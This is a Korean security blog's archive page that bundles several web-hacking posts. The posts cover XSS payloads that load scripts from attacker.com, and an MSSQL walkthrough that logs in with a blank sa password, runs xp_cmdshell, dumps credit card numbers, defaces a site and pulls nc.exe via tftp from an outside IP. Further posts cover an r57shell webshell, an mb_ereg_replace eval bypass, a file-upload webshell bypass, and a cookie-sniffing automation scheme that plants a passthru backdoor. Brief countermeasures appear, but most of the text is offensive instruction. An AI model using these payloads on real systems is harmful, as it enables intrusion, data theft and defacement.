Search Results for '해킹&보안/WEB 해킹'
17 posts related to '해킹&보안/WEB 해킹'
- 2011/11/12 디도스 공격 툴 5.3 12
- 2011/09/14 XSS(Cross Site Scripting) - 크로스 사이트 스크립팅
- 2009/10/07 mssql 포트를 이용한 db해킹 1
- 2009/08/27 [r.5.7.p.h.p]분석
- 2009/08/27 [PHP]mb_ereg_replace()
- 2009/08/27 SQL쿼리로 사용되는 파라미터의 값이 중복 사용될 경우 조합되어 쿼리문으로 동작할 수 있다
- 2009/08/26 Fileupload 취약점 이용하여 공격하기 (Webshell) 1
- 2009/08/26 Hacking RSS and Atom Feed Implementations
- 2009/08/26 다양한 방법의 XSS 2
- 2009/08/26 구굴핵스
- 2009/08/26 Cookie Sniffing 에 사용될 수 있는 자동 공격 프로그램
- 2009/08/26 MHTML 취약점을 이용한 해커들의 공격
- 2009/05/25 진보된 javascript obfuscated code - 악성코드 삽입을 통한 사용자 유인
- 2009/05/20 [XSS] style의 \의 사용
- 2009/05/20 [XSS] createElement(), getElementById(), appendChild(), innerHTML() 1
- 2009/05/20 [XSS] createElement(), getElementById(), appendChild(), innerHTML()
- 2009/05/20 [XSS] <frameset><frame src=URL></frameset>
이미지 출처는 네이버 검색 하였습니다. 어리석은 장난으로 디도스 공격 하지 마시기 바랍니다. 네트워크 방해와 서비스를 방해하는 것도 범죄라는 사실을 아셔야 합니다..
비슷한 관련 툴도 함께 업로드 합니다.
크로스 사이트 스크립팅은 매우 위험한 보안 노출로서 안전한 웹 기반 애플리케이션을 설계할 때 반드시 고려해야 한다. 이 글에서 노출의 본질과, 이것이 어떻게 영향을 미치는지를 설명하고 솔루션 전략을 소개한다.
오늘날 대부분의 웹 사이트는 동적 컨텐트를 웹 페이지에 추가하여 사용자에게 더 많은 즐거움을 선사한다. 동적 컨텐트는 몇몇 서버 프로세스에서 만들어진 컨텐트로서, 설정과 필요에 따라 다르게 작동하고 디스플레이 된다. 동적 웹 사이트는 정적 웹 사이트에는 없는 위험성도 지니고 있다. 이를 "크로스 사이트 스크립팅(cross-site scripting) "이라고 한다. 일명 "XSS"라고도 알려져 있다.
"웹 페이지는 텍스트와 HTML 마크업으로 구성된다. 이들은 서버에 의해 만들어지고 클라이언트 브라우저에 의해 인터프리팅 된다. 정적 페이지만을 만들어 내는 웹 사이트는 브라우저 사용자가 이러한 페이지들을 인터프리팅하는 방식을 완전히 제어할 수 있다. 동적 페이지를 만들어 내는 웹 사이트는 클라이언트가 아웃풋을 인터프리팅 하는 방식을 완전히 제어하지는 못한다. 신뢰할 수 없는 컨텐트가 동적 웹 페이지에 들어갈 수 있다는 것이 문제의 본질이다. 웹 사이트나 클라이언트도 이러한 현상을 인식하여 방어할 수 있는 충분한 정보가 없다." 인터넷 보안 취약성을 연구하는 CERT Coordination Center의 설명이다.
크로스 사이트 스크립팅은 공격자들에게는 이미 유명해졌다. 매월 크로스 사이트 스크립팅 공격이 상용 사이트에서 발생하고 그러한 위험성을
설명하는 경고문이 발표된다. 주의하지 않는다면 여러분의 웹 사이트나 회사도 이러한 공격의 희생양이 될 것이다.
XSS (Cross Site Scripting) 크로스 사이트 스크립팅은 서버의 서비스를 공격하는 일반적인 해킹방법이 아니라 해당 서버를 사용하는 사용자를 공격하는 기법이다. 예를 들어 서비스를 사용하는 사용자가 글을 읽으려고 클릭하는 순간 글에 연결되어 있는 스크립트가 실행되고 스크립트를 통하여 사용자에게 악성코드가 심어진다.
글, 메일, 그림 등을 열람하기 위하여 사용자들의 흥미를 유발시키기 때문에 사회공학적 해킹기법으로 분류된다.
웹 사이트상의 애플리케이션이 크로스 사이트 스크립팅에 취약하다고 알려지면 공격자는 공격을 구상하게 된다. 공격자가 가장 빈번하게 사용하는 기술은
공격 목표의 시스템에 공격 목표의 권한을 사용하여 실행할 수 있도록 JavaScript, VBScript, ActiveX, HTML,
Flash를 투입하는 것이다. 공격이 활성화 되면 계정 하이재킹, 사용자 설정 변경, 쿠키 훔치기 및 오염, 오류 광고 등이 가능하다.
1. XSS Test
일반적인 게시판에 <script>alert("XSS")</script>라고 입력하여 XSS라는 메시지 창이 뜨면 XSS취약점이 있는 것이다.
예제1) 사용자의 쿠키값을 획득
<script>alert(document.cookie);</script>
예제2) 클릭 시 악성코드가 있는 사이트로 이동
<a href="http://test.com/test.cgi?loc=<script src='http://attacker.com/test'></script>">Click</a>
2. iframe 태그
예제1) 숨겨진 iframe를 이용해 악성코드 사이트로 이동
<iframe src=" http://attack.com" width="0" height="0" frameborder="0"></iframe>
3. object 태그
예제1) 지정한 파일이 존재하지 않을 때 악성코드 사이트로 이동하도록 함.
<object width=0 height=0 sytle=display:none; type=text/xscriptlet data=mk:@MSITStore:mhtml:c:\nosuchfile.mht! http://test.com/attack_chm::exploit.html></object>
4. div 기법
예제1) div 태그를 사용하여 이미지 등을 삽입시킨다.
<div style="position:absolute; left:200; top:90; z-index:2;">
<img src="images/test.jpg">
</div>
5. 인코딩 기법
예제1) 공격하려는 문자열을 다른 표현으로 인코딩하여 눈에 띠지 않거나, IPS, 웹방화벽 드의 감지패턴을 우회하기 위하여 인코딩한다.
원본 : <script>alert("test");</script>
인코딩 : <script>alert(String.fromCharCode(116, 101, 115, 116))</script>
6. Obfuscated 기법
예제1) 인코딩 기법과 같이 우회하기 위해 사용한다.
<script language="javascript">
e = '0x00' + '5F';
str1 = "%E4%BC%B7%AA%C0%AD ....... %AA%E2";
str = tmp = '';
for(i=0; i<str1.length; i+=3)
{
tmp = unescape(str1.slice(i,i+3));
str = str + String.fromCharCode((tmp.charCodeAt(0)^e)-127);
}
document.write(str);
</script>
7. 기타우회 방법 (이 방법은 정확히 이해가 안되네)
;</script><script>alert("xss");</scr..
공격자들이 크로스 사이트 스크립팅을 사용하여 웹 사이트를 공격하는 방법을 설명했다. 또한 웹 사이트가 간단한 커스텀 태그 라이브러리를
사용하여 동적 컨텐트를 암호화 하는 것으로도 이러한 공격을 줄일 수 있다는 것을 설명했다. XSS
커스텀 태그
라이브러리를 그대로 사용하거나 이를 변형하여 자신의 웹 애플리케이션에 맞출 수 있다.
관련 정보 : http://ha.ckers.org/xss.html#XSScalc
------------------------------
자, 우리는 위에서 어떻게 조작된 URLs를 이용해서 데이타베이스를 깨는지를 알아봤는데,
이는 80포트(HTTP)만을 이용한것이었다. 이번에는 1434 포트를 해킹하는데 사용하도록 하겠다.
그전에 우리는 실제로 데이타베이스 서버들이 무엇이고 그들이 어떻게 작동을 하고 어떻게
또한 고녀석들을 공격할 수 있는지를 알아볼 것이다.
MS sql의 제작자들은 웹디자이너들에게 유용하게 제품을 만들 수 있도록 하기위해,
몇가지 프로시저들을 저장하는 객체들을 주었다. 이것들은 필요는 없지만 인자로 넘겨온 것들로
몇가지 수행은 할 수 있다. 이녀석들은 해커들에게 매우 중요하다. 중요한 것들은 다음과 같다.
sp_passsword -> 로그인 이름에 대한 패스워드를 변경한다.
e.g. EXEC sp_password ‘oldpass’, ‘newpass’, ‘username’
sp_tables -> 현재 데이타베이스에 있는 모든 테이블을 보여준다.
e.g. EXEC sp_tables
xp_cmdshell -> 관리자 권한하에 임의의 시스템 명령어를 수행한다. (가장 중요함)
xp_msver -> OS에 관한 모든 정보를 포함해서 MS SQL 서버 버전을 보여준다.
e.g. master..xp_msver
xp_regdeletekey -> 레지스트리 키 값을 삭제한다.
xp_regdeletevalue -> 레지스트리 값을 삭제한다.
xp_regread -> 레지스트리 값을 읽는다.
xp_regwrite -> 레지스트리 키를 쓴다.
xp_terminate_process -> 프로세스를 중지한다.
요것들이 중요한 몇가지이다. 실제로는 50개정도가 더 있다.
만약 당신이 MS SQL 서버를 보호하고 싶다면 이런것들을 싸그리 지우길 나는 권장한다.
MS SQL 서버 엔터프라이즈 메니저를 이용해서 마스터 데이타베이스는 열려있다.
이제는 확장된 저장소를 더욱 확장시키고 단지 우측 클릭과 삭제를 이용해서 저장된 것들을
지워라. (쉽게보자면 ctrl + A 한다음에 shift + del 해라. 이런 내용 같죠?)
NOTE: Master는 SQL 서버에서 가장 중요한 데이타베이스로 로그인 이름과 시스템 프로시저등
모든 시스템 정보를 포함하고 있다. 그래서 만약 해커가 이 마스터를 지운다면 SQL 서버는
죽을것이다. Syslogins는 데이타베이스에서 사용자이름과 로그인 패스워드를 포함하는 기본적인
시스템 테이블이다.
가장 위험스리한 짓꺼리 : 마이크로소프트 SQL 서버는 기본적으로 "sa"라는 사용자 이름과 함께
공백의 패스워드를 갖고 있다. (즉 ID는 sa고 PASSWORD는 없음) 이것이 과거에 많은 MS sql서버에
포함되어 있었다. 바이러스가 이를 악용함으로써 이 취약점이 패치되었다.
아! 이제 충분해. 해킹이나 하자. 우선! 우리는 서버 취약점들을 찾아봐야할것이다.
좋은 포트 스캐너(웹에 깔렸다)를 다운받은다음에 IP를 찍고 1433/1434 (TCP나 UDP) 포트가
열려있는지를 스캐닝하자. 포트가 열려있다는 의미는 sql 서비스가 돌아간다는 얘기다.
오라클은 포트가 틀리다. 1521이다.
우리는 여기서 일단 198.188.178.1이라는 IP를 지니는 취약한 서버를 얻었다고 가정한다.
(이건 단지 예다. 실제로 공격하지 마세요)
여기서 SQL 서비스를 이용하는 방법은 매우 많다. 텔넷이나 netcat이나.
그러나 당신은 SQL 서버 2000과 함께 배를 탄 osql.exe라는 알려진 툴을 사용할 수 있다.
OK! 이제 함 해보자.
C:>osql.exe -?
osql: unknown option ?
usage: osql [-U login id] [-P password]
[-S server] [-H hostname] [-E trusted connection]
[-d use database name] [-l login timeout] [-t query timeout]
[-h headers] [-s colseparator] [-w columnwidth]
[-a packetsize] [-e echo input] [-I Enable Quoted Identifiers]
[-L list servers] [-c cmdend]
[-q "cmdline query"] [-Q "cmdline query" and exit]
[-n remove numbering] [-m errorlevel]
[-r msgs to stderr] [-V severitylevel]
[-i inputfile] [-o outputfile]
[-p print statistics] [-b On error batch abort]
[-O use Old ISQL behavior disables the following]
<EOF> batch processing
Auto console width scaling
Wide messages
default errorlevel is -1 vs 1
[-? show syntax summary]
osql 툴의 도움말 화면이다. 우리가 하고픈것을 분명하게 도와준다. 쳐라.
C:> osql.exe ?S 198.188.178.1 ?U sa ?P “”
만약 성공적으로 로그인이 된다면 우리는 무엇인가를 얻게될것이고,
그렇지 않는다면 "sa" 사용자 로그인 실패메시지를 얻게 될것이다.
이제 우리는 단지 기본적으로 저장된 "xp_cmdshell"을 이용함으로써 원격으로 명령어를 수행하길 원한다.
C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “exec master..xp_cmdshell ‘dir >dir.txt’”
나는 ?q 옵션보다는 ?Q 옵션을 사용하길 바라는데 왜냐면 쿼리 실행후에 탈출하기 때문이다.
원격에서 어떤 시스템 명령어도 우리는 수행할 수 있음을 확인할 수 있다.
이제 우리는 원격에서 어떤 파일을 업로드하거나 다운로드할 수 있다. 똑똑한 공격자는 백도어를 설치해서
차후를 대비할 것이다. 내가 전에 언급했던 "information_schema.tables"를 이용함으로써
그것의 내용과 테이블 리스트를 얻을 수 있다.
C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “select * from information_schema.tables”
login이나 accounts나 users나 카드같은 정보를 포함할 것 같은 테이블을 찾아봐라.
C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “select * from users”
그리고
C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “select username, creditcard, expdate from users”
출력물:
Username creditcard expdate
----------- ------------ ----------
Jack 5935023473209871 2004-10-03 00:00:00.000
Jill 5839203921948323 2004-07-02 00:00:00.000
Micheal 5732009850338493 2004-08-07 00:00:00.000
Ronak 5738203981300410 2004-03-02 00:00:00.000
index.html 파일에 뭣 좀 쓸까?
C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “exec master..xp_cmdshell ‘echo defaced by Chintan > C:inetpubwwwrootindex.html’”
원격 시스템에서 파일을 업로드하고 싶나?
C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “exec master..xp_cmdshell ‘tftp 203.192.16.12 GET nc.exe c:nc.exe’”
그리고 다운로드 하고싶을땐 우리는 GET 대신에 PUT을 써야한다. 왜냐구?
이 명령어는 원격에서 실행되는것이지 우리것이 아니다. 그래서 만약 GET 요청을 하면 이는
원격에서 실행될것이고 우리의 머쉰에서 원격 머쉰으로 nc.exe를 다운받으려 할것이다.
(이해하셨죠? 즉 보는 관점이 공격자가 아니라 희생자 서버라는 얘기)
이게 끝이 아니다. SQL 서버의 로그인 패스워드를 해킹할 수 있는 툴들은 웹에서 쉽게 사용할 수 있다.
심지어는 많은 버퍼오버플로우가 발견되었기때문에 우리는 시스템 관리자 권한을 얻을 수도 있다.
이 기사는 단지 데이타베이스 서버에 대해서 일반적인 이슈들만을 제공한다.
Sapphire 웜을 기억하나? 이것은 1월 25일날 발표되었다. 이 웜은 SQL 서버에서 1433/1434 UDP 포트의
알려진 3가지 취약점을 이용한 것이었다.
대비책
------
<*> 기본 계정인 sa의 패스워드를 변경하라.
<*> 모든 디폴트 프로시저를 지워라.
<*> `,",--,: 등 모든 문자를 필터해라.
<*> 패치한 날짜정보를 지켜라.
<*> 방화벽을 이용해서 MS SQL의 1433/1434 포트과 오라클 1521 포트를 막아라.
보안을 기억하는 것은 추가요소가 아니다. 관리자의 현명함에 달려있다. 해커와 관리자와의 전쟁은
계속 계속 계속 계속... 최근에 발표된 뉴스나 버그 리포트를 수집한 자가 전쟁에서 우승한다.
데이타베이스 관리에 관한 내용은 http://sqlsecurity.com 과 같은 사이트에서 접할 수 있다.
어떤 설명이나 좋은 비평을 항상 기다리고 있다.
63 if(version_compare(phpversion(), '4.1.0') == -1)
64 {
65 $_POST = &$HTTP_POST_VARS;
66 $_GET = &$HTTP_GET_VARS;
67 $_SERVER = &$HTTP_SERVER_VARS;
68 }
69 if (@get_magic_quotes_gpc())
70 {
71 foreach ($_POST as $k=>$v)
72 {
73 $_POST[$k] = stripslashes($v);
74 }
75 foreach ($_SERVER as $k=>$v)
76 {
77 $_SERVER[$k] = stripslashes($v);
78 }
79 }
====================================================================
대상 웹애플리케이션의 버전이 php4.1.0버전보다 낮으면 구버전과 신버전의 php 슈퍼전역변수를 매칭시킨다.
이는 버전상의 호환성을 위한 작업이다.
참고:http://php.filearena.net/manual/kr/language.variables.predefined.php
magic_quotes_gpc옵션을 확인한다.
옵션이 on이라면,
post로 받은 모든값에 stripslashes를 적용하여 magic_quotes_gpc를 무력화한다.
마찬가지로 서버변수에 stripslashes를 적용하여 magic_quotes_gpc를 무력화한다.
참고:http://php.mirror.camelnetwork.com/manual/kr/control-structures.foreach.php
참고:http://php.filearena.net/manual/kr/reserved.variables.php#reserved.variables.server
--------------------------------------------------------------------
사용함수
mixed version_compare ( string $version1 , string $version2 [, string $operator ] )
버전비교
첫번째인자가 두번째부다 낮으면 -1, 같으면 0 높으면 1을 리턴
string phpversion ([ string $extension ] )
php버전체크
int get_magic_quotes_gpc ( void )
php.ini의 magic_quotes_gpc세팅을 리턴한다.
옵션이 off이면 0을 리턴, on이면 1을 리턴
magic_quotes_gpc옵션은 GET,POST,COOKIE로 넘어온 ' " \ null값의 앞에 \를 붙여서 에러발생 및 sql인젝션을 방지한다.
이를 수동으로 처리하려면 addslashes()와 stripslashes()함수를 사용해야한다.
string stripslashes ( string $str )
quote기호 삭제
==웹쉘 사용자 인증=====================================================
81 if($auth == 1) {
82 if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass)
83 {
84 header('WWW-Authenticate: Basic realm="r57shell"');
85 header('HTTP/1.0 401 Unauthorized');
86 exit("<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>");
87 }
88 }
====================================================================
$auth가 1일때,
PHP_AUTH_USER변수가 설정되어있지 않거나 PHP_AUTH_USER값이 $name과 다르거나 PHP_AUTH_PW값이 $pass와 다르면 사용을 불허하는 기능이다.
--------------------------------------------------------------------
PHP_AUTH_USER
HTTP 인증을 사용하는 모듈로서 아파치에서 수행될때, 이 변수는 유저에 의해 제공되는 username으로 설정된다.
PHP_AUTH_PW
HTTP 인증을 사용하는 모듈로서 아파치에서 수행될때, 이 변수는 유저가 제공하는 password로 설정된다.
참고:http://php.filearena.net/manual/kr/reserved.variables.php#reserved.variables.server
to be continue
변환된 문자열을 php코드로서 실행시키는 eval옵션을 가지고 있다.
웹쉘제작에 eval() 대신 mb_ereg_replace()를 사용할 수도 있다는 말이다.
eval()함수만 주구장창 막았다가 피보겠네..
예)
<?php
$str='p'.'h'.'p'.'i'.'n'.'f'.'o'.'('.')'.';';
mb_ereg_replace('^(.*)$', $str, 'string', 'e');?>
ex)
정상 요청
GET /index.asp?query=computer HTTP/1.1
동작하는 쿼리
select * from board where id=computer
HTTP Parameter Pollution
GET /index.asp?query=a&query=b&query=c HTTP/1.1
동작하는 쿼리
select * from board where id=a,b,c
쿼리가 조합될때 중간에 (,)가 삽입된다.
주석을 사용하면 (,)를 삭제할 수 있다.
GET /index.asp?query=a/*&query=*/b/*&query=*/c HTTP/1.1
동작하는 쿼리
select * from board where id=a/*,*/b/*,*/c
Fileupload 취약점 이용하여 공격하기 (Webshell)
1. 일반 계저정으로 로그인후 게시판에 접근합니다.
2. 홈페이지 게시판에 웹셀을 업로드하여 삽입합니다.
*웹서버는 확장자별 실행유무를 주기 때문에 php, asp와 같은 웹 서버용 파일은 업로드를 Java를 통해 막고 있습니다.
로컬 프록시를 통해 php, asp와 같은 웹 서버용 파일 업로드 우회하기
그리고 실제 서버측에 보낼때에는 확장자를 잡은 데이터를 php로 다시 send를 눌려 업로드 합니다.
*자바 스크립트나 입력값 제한으로는 클라이언트 검사이기 때문에 로컬프록시로 우회가 가능합니다.
3. 웹셀을 실행해여 서버의 중요 파일 및 권한을 획득하면 됩니다.
Fileupload 취약점 방어하기 (Webshell)
1. 게시판에 자바 스크립트를 실행할수 없도록 합니다. (스크립트 태그를 단순 문자로 인식하도록 구성)
2. 파일 업로드 종류를 제한하고 제한 검사를 클라이언트가 아닌 서버에서 하도록 합니다.
문서 :
웹쉘 프로그램
Cod3rZshell (PHP 웹쉘) 소스보기->
r57shell 1.24 (PHP 웹쉘) 소스보기->
출처 : http://itka.kr
Hacking RSS and Atom Feed Implementations
RSS나 ATOM같은 XML 서비스 사용에 있어서 reader가 web based feed 라면 client역시 충분히 공격받을 수 있습니다
예) no_no_javascript Injection
위와같은 형태로 Javascirpt를 실행하여 불법S/W를 설치하거나, 쿠키등을 훔치게 된다
그럼 아래와 같이 만들면 어떻게 될까요?
대부분의 RSS viewer들은 <를 <로, >를 >로 컨버팅한 후 content를 browser 기반의 component로 실행하기 때문에 위와 같이 변경한다 해도 스크립트는 실행되게 된다
기타 자세한 내용은 첨부파일을 참조하세요 ^^
다양한 XSS 방법들을 소개합니다
일반적으로 document.cookie 같은경우 대부분의 사이트에서 필터링 됩니다
이 사이트 역시 앞에 "no_"가 붙습니다
그럼 와 같은 형태는 어떻게 될까요?
아마 필터링 하기 어렵겠지요 아래예들은 이와같이 여러가지 자바스크립트들을 실행하기 위한 예들을 보여줍니다
Automatic attack program that can be used in Cookie Sniffing by Beist Security Research Group 요약 : Cookie Sniffing은 WWW 환경에서 해커가 사용자나 관리자의 Cookie 혹은 Session과 같이 중요한 정보를 가로채는 기법을 말하고 Cookie Spoofing은 이 정보를 이용하여 해커가 자신의 신분을 속이는 행위를 하는 것을 말한다. 이 정보는 유효 시간이 있을수 있기 때문에 해커는 정보를 획득한 후 빠른 시간 안에 Spoofing 공격을 수행해야 하는데 이 문서는 이러한 공격을 자동으로 처리함으로써 유효 시간에 제약이 없는 공격 기법에 대해서 소개하였다. 해커가 미리 만들어둔 공격 프로그램은 Cookie를 받는 동시에, 자동화 공격 알고리즘을 통해서 공격을 시도한다. 공격에 필요한 정보와, 공격에 수행할 행동을 바탕으로, 자동으로 타겟 서버에 접속하여 자동화 된 공격을 구현하였다. 이러한 공격 작업으로 인해 Cookie나 Session의 유효 시간 안에 공격을 수행할수 있을 뿐만 아니라 관리자의 발 빠른 보안 대처를 힘들게 할 수 있다. |
1. 개요 이 문서는 Cookie Sniffing 을 통하여 Target (여기서는 Admin ID 나 특정 사용자를 말합니다.) 의 Cookie 를 획득하였을 때, 그 이후의 공격 과정을 자동으로 처리하는 방법에 대해서 소개합니다. 만약 Cookie, Cookie Sniffing 공격 기법에 대한 이해가 부족하시다면 beist의 개인 강좌들을 먼저 참고하시고 이 글을 읽어보시기 바랍니다. 이 글은 Target 의 Cookie 를 획득한 후의 공격 과정을 자동으로 수행하는 방법에 대해서 다루고 있으므로 Cookie, Cookie Sniffing 기술에 대한 이해가 충분하지 않으시면 이 문서를 이해하시는 데 조금 어려움이 있을 수도 있습니다. Target 의 Cookie 를 가져오는데 성공했다면, 해당 Cookie 를 이용하여 다시 공격을 수행해야 합니다. 만약 훔쳐온 쿠키가 시간 제한 없이 여전히 사용될 수 있는 내용의 쿠키라면 굳이 이 자동화 공격이 필요하지 않을 것입니다. 그러나 Session 일 경우에 (어떤 상황에서는, Cookie 일 경우에도) 일정 시간이 지날 경우 Session 값이 사라져 버리거나 변조될 수 있기 때문에 Target 의 Session, Cookie 데이터를 획득하고 나서 빠른 시간 안에 공격을 해야 합니다. 그렇지만 Cookie Sniffing 공격 기술의 특성상, 해커가 작성한 악성 코드를 Target 이 읽어야지만 해커에게 Cookie 에게 날라오는데, Target 이 언제 악성 코드를 읽을지 아무도 알 수 없습니다. Target 이 악성 코드를 읽어서 Cookie가 넘어올 때까지 24 시간 컴퓨터 앞에서 지켜보고 있다면 문제가 없겠지만 현실적으로 힘든 이야기입니다. 이런 상황에 대비하여 공격을 자동화하는 프로그램을 만들어둔다면 Cookie를 얻어올 때까지 기다려야 하는 수고를 하지 않아도 됩니다. 공격을 수행하는 프로그램은 다양한 언어로 제작할 수 있겠지만, 여기서는 PHP 를 이용하여 만들어 보겠습니다. |
2. 이용될 수 있는 곳 이 문서에서 다루는 주제는 Cookie 를 얻은 후의 공격 과정을 자동으로 수행하는 프로그램에 대해서 설명합니다. 이 기술을 이용한다면 Cookie 를 얻어올 때까지 기다려야하는 수고를 하지 않아도 됩니다. Cookie Sniffing 은, 제로보드 같은 게시판이나 Web 기반의 메일 서비스, 쇼핑몰, 기타 Cookie 나 Session 을 사용하는 Web 서비스들을 공격하는데 응용될 수 있습니다. 이 문서에서는 임의로 만든 PHP CGI 를 대상으로 기술할 것입니다. 이 문서는 Session Sniffing 후에 공격하는 것에 대해서 알아볼 것입니다. Session Sniffing 에 대해서 알아볼 것이지만, Cookie Sniffing 공격에도 똑같이 적용될 수 있습니다. (Cookie 와 Session 은 엄밀히 따지면 다른 것이지만, 여기에서 사용하는 기법은 두가지 다 이용할 수 있는 기법이므로 이 문서에서는 두 단어를 구별하지 않고 사용하겠습니다. 그리고 또, Cookie Sniffing 의 자동화 공격화 공격이 요점이기 때문에, 기타 CGI 에 대한 자세한 설명이나 기타 취약 가능성에 대해서는 고려하지 않고 작성하였습니다.) |
3. 기술적인 내용 먼저 쿠키를 가져오는 방법에 대해서 간략하게 알아보겠습니다. 여기서 사용하는 쿠키 스니핑은 Cookie Sniffing by Using txt extension 문서에서 설명하였던 방법을 이용하겠습니다. (굳이 이 방법을 이용하지 않아도 쿠키 스니핑을 하는 방법은 여러 가지가 있겠습니다.) 이 문서에서 Admin과 Target은 같은 뜻을 갖고 있습니다. 구분하지 마시고 읽어주시기 바랍니다. 이 문서에서 설명하는 해킹 순서를 알아보겠습니다. (1) Target 의 Cookie 를 훔쳐오는 악성 Javascript 작성 (test.txt) 조금 복잡한 과정이므로 위 7 가지의 순서를 각각 나누어 설명 하겠습니다. target 의 정보는 다음과 같습니다. Target Server URL - http://beist.org/ 해커의 정보는 다음과 같습니다. 아래의 컴퓨터 주소는 해커가 Target 을 공격할 때 이용합니다. Hacker URL - http://beist.hackerscomputer/ (1) Target 의 Cookie 를 훔쳐오는 악성 Javascript 작성 (test.txt) Cookie Sniffing 에 이용되는 Javascript 문법은 단순합니다. 대표적인 방법으로 window.open 메소드를 호출할 때, 현재 웹 브라우저에 저장되어있는 cookie 를 같이 넘겨주면 되는데, document.cookie 가 바로 그 값입니다. test.txt <html> <script language=javascript> </head> Automatic attack program that can use in Cookie Sniffing </body>
(2) Target 서버의 CGI 자료실에 test.txt 업로드 위 파일을 Target 서버의 CGI 자료실에 업로드합니다. (Cookie Sniffing by Using txt extension 문서에서는 txt 확장자를 이용한 Cookie Sniffing 을 설명하였지만, 반드시 확장자가 txt 여야하는 것은 아닙니다. 상황에 따라서는 jpg 확장자를 갖고 있어도 가능합니다. 즉, 회원 정보에 사진을 올릴 수 있는 기능을 이용한다거나 하는 다른 방법으로도 얼마든지 파일을 Target 서버에 올릴 수 있습니다.) 자료실 기능만 존재한다면 CGI 의 확장자 검사 기능은 걱정하지 않아도 됩니다. txt 확장자를 막아놓는 설정은 거의 찾아볼 수 없으며 있다고 하더라도 jpg 나 기타 다른 확장자를 이용하면 가능하기 때문입니다. [화면1] http://beist.org/~beist/auto/index.html (메인메뉴) pds 메뉴로 들어가 test.txt 파일을 업로드 하겠습니다. [화면2] http://beist.org/~beist/auto/pds.html (파일 업로드 Form) 해커가 올린 test.txt 파일이 정상적으로 업로드 되었습니다. [화면3] http://beist.org/~beist/auto/pds_ok.html (파일 업로드 ok 메세지) pds_ok.html 의 소스를 보겠습니다. pds_ok.html <? echo " if(eregi("php", $file_name)) if(eregi("htm", $file_name)) if(!copy($file, "data/$file_name")) echo "http://beist.org/~beist/auto/data/$file_name save ok"; ?> test.txt 를 정상적으로 업로드 하였고, test.txt 파일이 놓인 위치는 다음과 같습니다. test.txt URL - http://beist.org/~beist/auto/data/test.txt (3) 쉘을 생성하는 PHP 스크립트 작성하여 CGI 자료실에 업로드 (beist.txt) 이번에는 쉘을 생성하는 PHP 스크립트를 작성해보겠습니다. 이 PHP 스크립트는, hack.php 에서 CGI 를 공격할 때 간접적으로 이용됩니다. 스크립트를 작성한 다음 스크립트의 기능에 대해서 간단하게 알아보고 이 것을 이용하는 방법은 뒤에서 다루겠습니다. 자료실에 업로드하기 위해 확장자를 txt로 하였습니다. beist.txt <? /* 이 스크립트에서 생성하는 beist.php 은 passthru 를 실행하는 backdoor if(!file_exists("./data/beist.php")) /* 아래의 루틴은, beist.php 를 쓰기 모드로 열고, 파일 안에 <? passthru($beist); ?> 의 $fp=fopen("./data/beist.php", "w"); fputs($fp, "<? passthru(\$beist); ?>"); fclose($fp); } echo " ?> 만약 위 beist.txt 가 PHP 로 정상적으로 실행된다면, beist.php 가 생성될 것이고, 해커는 beist.php 파일을 이용하여 target 시스템의 nobody 쉘을 얻을 수 있습니다. 잠시 후에 beist.txt가 이용되는 곳에 대해 자세히 설명하겠지만, 미리 간단하게 알아보고 넘어가겠습니다. 어떤 CGI 는 Admin 기능 중, head 와 foot 에 (머리말과 꼬리말) 특정 파일을 include 시킬 수 있는 기능이 존재합니다. 머리말과 꼬리말을 이용하면 Admin 이 특정 메세지나 작업 등을 웹 페이지에 삽입하려할 때 편리합니다. 이 문서에서 target 으로 지정한 CGI 는 이러한 기능을 지원합니다. beist.txt 는 머리말과 꼬리말에 파일을 지정할 수 있는 기능에 이용할 것입니다. 머리말 혹은 꼬리말 둘 중 하나에 beist.txt 파일을 지정해놓으면, CGI 가 작동될 때마다 beist.txt 의 내용이 PHP 로 실행될 것입니다. (물론, 만약 include 가 아닌 단순히 print 를 해준다면 beist.txt 는 PHP 로 실행되지 않습니다.) beist.txt 파일도, (2) 의 과정처럼 Target 서버의 PDS 에 업로드 합니다. 만약 beist.txt 파일이 정상적으로 업로드 되었다면 URL 은 다음과 같습니다. beist.txt URL - http://beist.org/~beist/auto/data/beist.txt
이 문서에서 기술하는 것 중 가장 중요한 부분입니다. hack.php 은, Target 의 쿠키를 훔쳐오자마자 바로 Target Server를 공격하는 작업을 수행합니다. hack.php 의 수행 구조에 대해서 간략히 알아보겠습니다. hack.php 의 진행 순서 -1- Target Server 정보 저장 hack.php 의 소스를 만들기전에 몇가지를 알아보겠습니다. 이 공격은 Target CGI 의 구조를 파악하고 있다는 전제 하에 가능합니다. Target CGI 의 Admin 메뉴 관련 파일들을 알아보겠습니다. [화면4] http://beist.org/~beist/auto/admin_login.html (admin login form) admin_login.html <html> [화면5] http://beist.org/~beist/auto/admin_loginok.html (admin login ok) admin_loginok.html <? if($id == "admin" && $passwd == "beist") echo("<meta http-equiv='refresh' content='0; URL=admin_menu.html'>\n"); ?> [화면6] http://beist.org/~beist/auto/admin_menu.html (admin menu) admin_menu.html <? /* Session 인증 작업. 만약 정상적인 인증이 아니라면 oh! beist 라는 if($HTTP_SESSION_VARS["id"]) echo " /* head는 header로 지정할 파일 이름을 가리킨다. 만약 head 변수의 값이 존재한다면, if($head) /* head.txt 파일이 존재하는지 확인한다. head.txt 파일이 존재한다면 if(file_exists("./data/head.txt")) echo "<br><br>welcome to beist world"; ?> 이 3 개의 파일이 Admin CGI 입니다. admin_login.html, admin_loginok.html 파일은 간단하므로 설명하지 않겠습니다. 주의깊게 봐야할 파일은 admin_menu.html 파일입니다. 우리가 공격할 CGI의 Admin Menu는 header 파일을 지정할 수 있는 기능을 갖추었습니다. Target CGI 의 index.html 의 소스를 보겠습니다. index.html <? /* ./data/head.txt 파일이 존재하는지 확인. 존재한다면 admin 이 header if(file_exists("./data/head.txt"))
